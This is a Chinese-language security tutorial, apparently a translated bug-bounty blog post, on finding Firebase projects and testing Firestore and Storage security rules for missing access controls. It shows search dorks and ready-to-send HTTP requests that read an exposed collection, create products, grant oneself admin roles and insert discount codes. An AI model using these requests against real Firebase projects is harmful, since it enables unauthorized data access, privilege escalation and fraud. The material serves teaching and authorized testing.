Firebase目标高级利用指南

什么是Google Firebase？

Google Firebase是Google拥有的全面应用开发平台，提供后端即服务功能。它允许开发人员构建交互式Web和移动应用程序，而无需管理服务器基础设施。服务包括身份验证、存储分析、应用程序托管等。

本文将重点介绍两个服务：

Firebase Firestore：用于在客户端之间实时存储和同步应用程序数据的NoSQL文档数据库
Firebase Storage：用于存储和提供用户生成内容（如图像、视频和文件）的云存储服务

这两个服务都提供内置的安全访问控制规则，我们将深入探讨这些规则。

Firebase安全规则

Firebase安全规则是一种声明性配置语言，定义谁可以访问您的Firebase资源以及在什么条件下访问。它们作为Firebase服务的主要安全机制，实质上充当服务器端防火墙，在允许或拒绝对数据的访问之前评估每个请求。

例如，在Firebase Firestore中，安全规则确定哪些用户可以读取、写入、更新或删除NoSQL数据库中的文档和集合。对于Firebase Storage，安全规则具有类似的保护功能，但侧重于文件操作而不是数据库操作。

这种服务器端强制执行至关重要，因为仅依赖客户端验证或API级检查从根本上是不安全的。攻击者可以完全绕过您的API级检查，直接向Firebase的REST API发送请求，或使用Firebase SDK与您的后端服务交互。

查找和识别Firebase目标

为了正确识别与目标关联的所有Firebase项目，我们需要结合多种发现方法。

检查HTTP请求

识别目标中Firebase的最直接方法是通过检查传出的HTTP请求。在某些情况下，您会遇到使用Firebase服务但未在客户端和Firebase的REST API之间部署服务器的目标。

在这种情况下，您可以简单地在开发者工具下打开网络选项卡或您选择的代理拦截器，并检查对*.firebaseio.com和.firebaseapp.com的任何HTTP请求。此方法还将允许我们枚举可能的REST API端点，这是我们继续进行访问控制测试时的关键步骤。

检查JavaScript文件

JavaScript文件通常包含Firebase配置数据，包括项目ID、数据库URL（指向*.firebaseio.com）、存储桶（指向firebasestorage.app）等。当我们想要与Firebase的REST API通信以测试缺失的访问控制时，这些数据至关重要。

Google和GitHub搜索

Firebase Firestore和Storage都提供REST API，您可以与之通信以执行各种数据操作操作。这些API托管在相应的firebaseio.com和firebasestorage.app域下。

通过简单的Google或GitHub代码搜索，我们可以轻松检查目标是否有任何我们可以测试的活跃Firebase项目：

1

site:.firebaseio.com "目标"

或：

1

(site:.firebasestorage.app OR site:.appspot.com) "目标"

测试缺失的访问控制

正如我们在本文前面记录的，Firebase Firestore和Storage都依赖Firebase安全规则来验证适当的访问控制。它们允许开发人员以类似于JavaScript的编程语言定义谁可以访问某些Firebase资源以及在什么条件下访问。当这些规则缺失或配置不当时，可能会允许我们读取、创建或删除比预期更多的数据。

值得注意的是，在测试缺失的访问控制时，您必须直接针对Firebase的REST API执行测试。此外，由于Firebase规则的执行方式（默认拒绝），我们需要在有凭据和没有凭据的情况下测试访问控制。实际上，这意味着我们需要以匿名导航器（无凭据）和经过身份验证（已登录）的用户身份测试访问。

由于Firebase安全规则是细粒度的，并允许开发人员按资源（如文件、数据库、数据库集合等）指定安全条件，因此我们还必须确保分别测试所有端点。

测试缺失的读取访问控制

让我们从一个过于宽松的Firebase安全规则的基本示例开始。您能发现下面规则中的问题吗？

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if false;
    }
    match /contact-form-data/{document} {
      allow read, write: if true;
    }
  }
}

在上面的代码片段中，我们可以看到默认情况下所有访问都被限制。但是，对/contact-form-data端点的保护不足，允许任何人读取包含敏感联系详细信息的联系表单查询。

这种简单的疏忽可能源于逻辑错误，开发人员可能认为页面访问者需要创建、读取、更新和删除访问权限才能提交联系查询表单。

在实践中，我们可以访问以下端点之一并读取所有数据：

1

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/contact-form-data

测试缺失的创建和写入访问控制

Firebase Firestore和Storage支持4种数据操作：创建、读取、更新（写入）和删除。假设我们要测试目标的"创建"方法的缺失访问控制，我们需要向Firebase的REST API制作POST请求。

让我们看一个例子：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /admin-mgmt/products/{product} {
      allow create: if request.auth != null;
    }
    match /admin-mgmt/discount-codes/{code} {
      allow read, create, delete: if request.auth.token.roles.hasAny(['admin', 'maintainer']);
    }
    match /users/profile/{userId} {
      allow write: if request.auth.uid == userId;
    }
  }
}

在上面的Firebase规则配置中，我们可以发现3个问题：

端点/admin-mgmt/products仅执行身份验证检查（无授权验证）
端点/admin-mgmt/discount-codes允许读取、创建和删除访问，如果身份验证对象中存在admin或maintainer用户角色
端点/users/profile在插入前不执行任何数据验证，允许我们（作为经过身份验证的用户）分配或添加任意用户角色

第一个缺陷允许我们作为任何经过身份验证的用户创建新产品。复制以下HTTP请求实质上将创建一个新产品，该产品将在目标网站的前台显示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


POST /v1/projects/<PROJECT_ID>/databases/(default)/documents/admin-mgmt/products HTTP/2
Host: firestore.googleapis.com
Content-Type: application/json
Authorization: Bearer USER_ID
Content-Length: 336

{
  "fields": {
    "name": {
      "stringValue": "New Product"
    },
    "price": {
      "doubleValue": 9999.99
    },
    "description": {
      "stringValue": "This product was created by an unauthorized user"
    },
    "category": {
      "stringValue": "intigriti"
    },
    "inStock": {
      "booleanValue": true
    }
  }
}

我们还可以从Firebase安全规则配置中推导出端点/user/profile不执行任何类型的数据验证。这可能意味着开发人员有一个执行所有数据验证的API，这不推荐，因为我们可以通过直接向Firebase REST API发送请求来轻松规避所有验证。

结合/admin-mgmt/discount-codes，我们实质上可以添加我们的折扣代码，这些代码将在结账页面上工作。

请求1：更新我们的个人资料以包含必要的用户角色

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


PATCH /v1/projects/<PROJECT_ID>/databases/(default)/documents/users/profile/<USER_ID> HTTP/2
Host: firestore.googleapis.com
Content-Type: application/json
Authorization: Bearer <USER_ID_TOKEN>
Content-Length: 308

{
  "fields": {
    "name": {
      "stringValue": "Intigriti Example"
    },
    "email": {
      "stringValue": "intigriti@intigriti.me"
    },
    "roles": {
      "arrayValue": {
        "values": [
          {"stringValue": "admin"},
          {"stringValue": "maintainer"}
        ]
      }
    }
  }
}

请求2：添加新的折扣代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


POST /v1/projects/<PROJECT_ID>/databases/(default)/documents/admin-mgmt/discount-codes HTTP/2
Host: firestore.googleapis.com
Content-Type: application/json
Authorization: Bearer <USER_ID_TOKEN>
Content-Length: 308

{
  "fields": {
    "code": {
      "stringValue": "INTIGRITI1337"
    },
    "discount": {
      "doubleValue": 1337.0
    },
    "expiryDate": {
      "timestampValue": "2025-12-31T23:59:59Z"
    },
    "usageLimit": {
      "integerValue": 1
    },
    "isActive": {
      "booleanValue": true
    }
  }
}

测试缺失的删除访问控制

让我们介绍另一个例子。以下Firebase安全规则旨在帮助用户轻松添加和删除他们的个人资料图片。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    match /profile-pictures/{userId}/{fileName} {
      allow read: if request.auth != null;
      allow write: if request.auth != null && request.resource.metadata.userId == request.auth.uid;
      allow delete: if request.auth != null && resource.metadata.userId == request.auth.uid;
    }
  }
}

在此配置中，我们可以看到所有权验证存在缺陷，任何在文件上传期间操纵metadata.userId的人也可以在未经适当授权的情况下删除此资源。在这种情况下，开发人员可能需要在允许任何人上传（创建）或更改（写入）他们的个人资料图片之前引入适当的输入验证。

测试CORS错误配置

跨源资源共享在两个Firebase服务上都受支持。Firebase Firestore允许任何源连接到REST API，这是预期的。但是，Firebase Storage使用一组规则，开发人员需要在特殊配置文件中声明这些规则。

当这些规则过于宽松时，例如在开发期间，任何不需要的源实际上都将被允许向存储桶发出请求。这可能会引入潜在的安全缺陷，这些缺陷可能被进一步武器化为更高严重性的问题。

结论

您可能已经遇到过积极使用Firebase Firestore/Storage的目标，甚至可能是配置错误的目标，如果您之前忽略了它们，我们希望本文能够阐明这两个服务中最常见的安全配置错误。